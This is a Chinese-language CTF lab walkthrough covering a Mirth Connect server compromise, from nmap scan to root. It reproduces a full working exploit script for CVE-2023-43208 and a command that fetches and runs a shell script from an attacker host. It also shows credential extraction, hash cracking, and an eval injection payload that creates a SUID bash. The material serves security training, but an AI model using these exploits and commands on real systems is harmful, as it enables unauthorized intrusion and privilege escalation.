这是一份清晰完整的渗透测试(CTF靶机)实战笔记,记录了从初始访问到提权的完整攻击链路。攻击者首先通过Nmap扫描发现目标运行了 Mirth Connect 服务,并直接利用 CVE-2023-43208 漏洞实现未授权远程代码执行(RCE)获取打点权限 。在后渗透阶段,攻击者通过读取本地配置文件获取数据库凭据,提取出PBKDF2格式的密码哈希,并使用Hashcat成功破解出明文密码。最后,在提权阶段,攻击者分析本地运行的Python脚本(notif.py)时发现了 eval() 函数的格式化字符串注入漏洞。通过巧妙使用Base64编码执行系统命令,成功绕过了极其严格的正则表达式限制,利用XML payload创建了SUID bash,最终顺利拿下Root权限 。

Information Gathering

# Nmap 7.98 scan initiated Mon Feb 23 17:51:26 2026 as: /usr/lib/nmap/nmap -p 22,80,443,6661 -sC -sV -Pn -n -oN scan_results/nmap_details.txt 10.129.90.198
Nmap scan report for 10.129.90.198
Host is up (0.16s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
|   256 07:eb:d1:b1:61:9a:6f:38:08:e0:1e:3e:5b:61:03:b9 (ECDSA)
|_  256 fc:d5:7a:ca:8c:4f:c1:bd:c7:2f:3a:ef:e1:5e:99:0f (ED25519)
80/tcp   open  http     Jetty
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Mirth Connect Administrator
443/tcp  open  ssl/http Jetty
| http-methods:
|_  Potentially risky methods: TRACE
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mirth-connect
| Not valid before: 2025-09-19T12:50:05
|_Not valid after:  2075-09-19T12:50:05
|_http-title: Mirth Connect Administrator
6661/tcp open  Mirth Connect 用于内部通信的专用端口。
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Feb 23 17:54:34 2026 -- 1 IP address (1 host up) scanned in 188.23 seconds

应用程序:Mirth Connect

CVE-2023-43208

版本探测:

➜  Interpreter curl -k -H 'X-Requested-With: OpenAPI' https://10.129.90.198/api/server/version
4.4.0

poc

# Exploit script for CVE-2023-37679 and CVE-2023-43208 affecting Nextgen's Mirth Connect
# Created by Ákos Jakab, based on:
#   (1.) https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-MIRTH_CONNECT_CVE_2023_43208-
#   (2.) https://www.horizon3.ai/attack-research/attack-blogs/writeup-for-cve-2023-43208-nextgen-mirth-connect-pre-auth-rce/

import argparse
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def generate_payload(command, platform):
    if platform.lower() == "win":
        cmd = f"cmd.exe /c \"{command}\""
    else:
        cmd = f"{command}"

    xml_payload = f"""
<sorted-set>
    <string>ABCD</string>
    <dynamic-proxy>
      <interface>java.lang.Comparable</interface>
      <handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
        <target class="org.apache.commons.collections4.functors.ChainedTransformer">
          <iTransformers>
            <org.apache.commons.collections4.functors.ConstantTransformer>
              <iConstant class="java-class">java.lang.Runtime</iConstant>
            </org.apache.commons.collections4.functors.ConstantTransformer>
            <org.apache.commons.collections4.functors.InvokerTransformer>
              <iMethodName>getMethod</iMethodName>
              <iParamTypes>
                <java-class>java.lang.String</java-class>
                <java-class>[Ljava.lang.Class;</java-class>
              </iParamTypes>
              <iArgs>
                <string>getRuntime</string>
                <java-class-array/>
              </iArgs>
            </org.apache.commons.collections4.functors.InvokerTransformer>
            <org.apache.commons.collections4.functors.InvokerTransformer>
              <iMethodName>invoke</iMethodName>
              <iParamTypes>
                <java-class>java.lang.Object</java-class>
                <java-class>[Ljava.lang.Object;</java-class>
              </iParamTypes>
              <iArgs>
                <null/>
                <object-array/>
              </iArgs>
            </org.apache.commons.collections4.functors.InvokerTransformer>
            <org.apache.commons.collections4.functors.InvokerTransformer>
              <iMethodName>exec</iMethodName>
              <iParamTypes>
                <java-class>java.lang.String</java-class>
              </iParamTypes>
              <iArgs>
                <string>{cmd}</string>
              </iArgs>
            </org.apache.commons.collections4.functors.InvokerTransformer>
          </iTransformers>
        </target>
        <methodName>transform</methodName>
        <eventTypes>
          <string>compareTo</string>
        </eventTypes>
      </handler>
    </dynamic-proxy>
</sorted-set>
"""
    return xml_payload

def exploit(target_url, command, platform):
    payload = generate_payload(command, platform)
    headers = {
        'Content-Type': 'application/xml',
        'X-Requested-With': 'OpenAPI'
    }
    try:
        response = requests.post(f"{target_url}/api/users", data=payload, headers=headers, verify=False)
        if response.status_code == 500:
            print("The target appears to have executed the payload.")
        else:
            print("Failed to execute the payload.")
    except requests.exceptions.RequestException as e:
        print(f"Request failed: {e}")

def main():
    parser = argparse.ArgumentParser(description='Exploit script for CVE-2023-43208.')
    parser.add_argument('-c', '--command', required=True, help='Command to execute on the target system.')
    parser.add_argument('-u', '--url', required=True, help='Target URL.')
    parser.add_argument('-p', '--platform', default='unix', choices=['unix', 'win'], help='Target platform (default: unix).')
    
    args = parser.parse_args()

    exploit(args.url, args.command, args.platform)

if __name__ == "__main__":
    main()

如何使用:

# 1
python3 CVE-2023-43208.py -c "wget http://10.10.16.83/shell.sh" -u https://10.129.90.198/ -p unix
# 2
python3 CVE-2023-43208.py -c "bash shell.sh" -u https://10.129.90.198/ -p unix

Exploitation (User Flag)

在文件发现

database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod
# database credentials
database.username = mirthdb
database.password = MirthPass123!

连接数据库

mysql -u mirthdb -p'MirthPass123!' -D mc_bdd_prod

在数据库中获取到哈希密码:u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==是PBKDF2-HMAC-SHA256

  • 前 8 个字节: 随机生成的 Salt (盐值)。
  • 后 32 个字节: 实际经过高频迭代计算出的 Hash (散列值)。

写一个python整理hash

python3 -c "import base64; raw=base64.b64decode('u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w=='); print('sha256:600000:' + base64.b64encode(raw[:8]).decode() + ':' + base64.b64encode(raw[8:]).decode())"

使用hashcat破解sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=

破解得到密码:snowflake1

Privilege Escalation (Root Flag)

运行ss -tulnp发现54321端口运行着/usr/local/bin/notif.py(通过 ps aux | grep -E "python|bash|sh|php|java”

template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
try:
    return eval(f"f'''{template}'''")

这里程序使用了 eval() (Evaluation function - 评估函数)eval() 会将传入的字符串当作 Python 代码直接运行。 开发者本来只想用它来动态解析 f-string (格式化字符串字面量),以计算患者的年龄 (datetime.now().year - year_of_birth)。但是,如果我们能控制 first、last 等变量,并在其中混入 {},eval() 在解析 f-string 时,就可以执行大括号里包含的任意 Python 代码!

正则表达式过滤

pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")

使用了 re.compile() (Regular Expression Compile - 正则表达式编译) 来限定输入字符。它只允许字母、数字和少部分标点符号 (., _, ', ", (, ), {, }, =, +, /)。

这道过滤最绝的地方在于,它直接封杀了:

  • 空格 (Space):导致你无法输入普通的 Shell 命令(如 cat /root/root.txt)。
  • 短横线 () 和管道符 (|):导致你无法传入命令行参数(如 bash -c)。
  • 尖括号 (<, >):阻止了重定向。

Base64 编码隐写执行就可以了

利用

第一步:制造base64

➜  Interpreter echo 'cp /bin/bash /tmp/rootbash; chmod u+s /tmp/rootbash'|base64
Y3AgL2Jpbi9iYXNoIC90bXAvcm9vdGJhc2g7IGNobW9kIHUrcyAvdG1wL3Jvb3RiYXNoCg==

第二步:构造payload

{__import__('os').popen(__import__('base64').b64decode('Y3AgL2Jpbi9iYXNoIC90bXAvcm9vdGJhc2g7IGNobW9kIHUrcyAvdG1wL3Jvb3RiYXNo').decode()).read()}

第三步:创建xml

cat << 'EOF' > /tmp/payload.xml
<patient>
    <firstname>{__import__('os').popen(__import__('base64').b64decode('Y3AgL2Jpbi9iYXNoIC90bXAvcm9vdGJhc2g7IGNobW9kIHUrcyAvdG1wL3Jvb3RiYXNo').decode()).read()}</firstname>
    <lastname>a</lastname>
    <sender_app>b</sender_app>
    <timestamp>c</timestamp>
    <birth_date>10/10/2000</birth_date>
    <gender>M</gender>
</patient>
EOF

第四步:向该本地服务发送攻击请求

python3 -c 'import urllib.request; req = urllib.request.Request("http://127.0.0.1:54321/addPatient", data=open("/tmp/payload.xml", "rb").read()); print(urllib.request.urlopen(req).read().decode())'

或者

wget --header="Content-Type: application/xml" --post-file=/tmp/payload.xml http://127.0.0.1:54321/addPatient -qO -

第四步:提升

/tmp/rootbash -p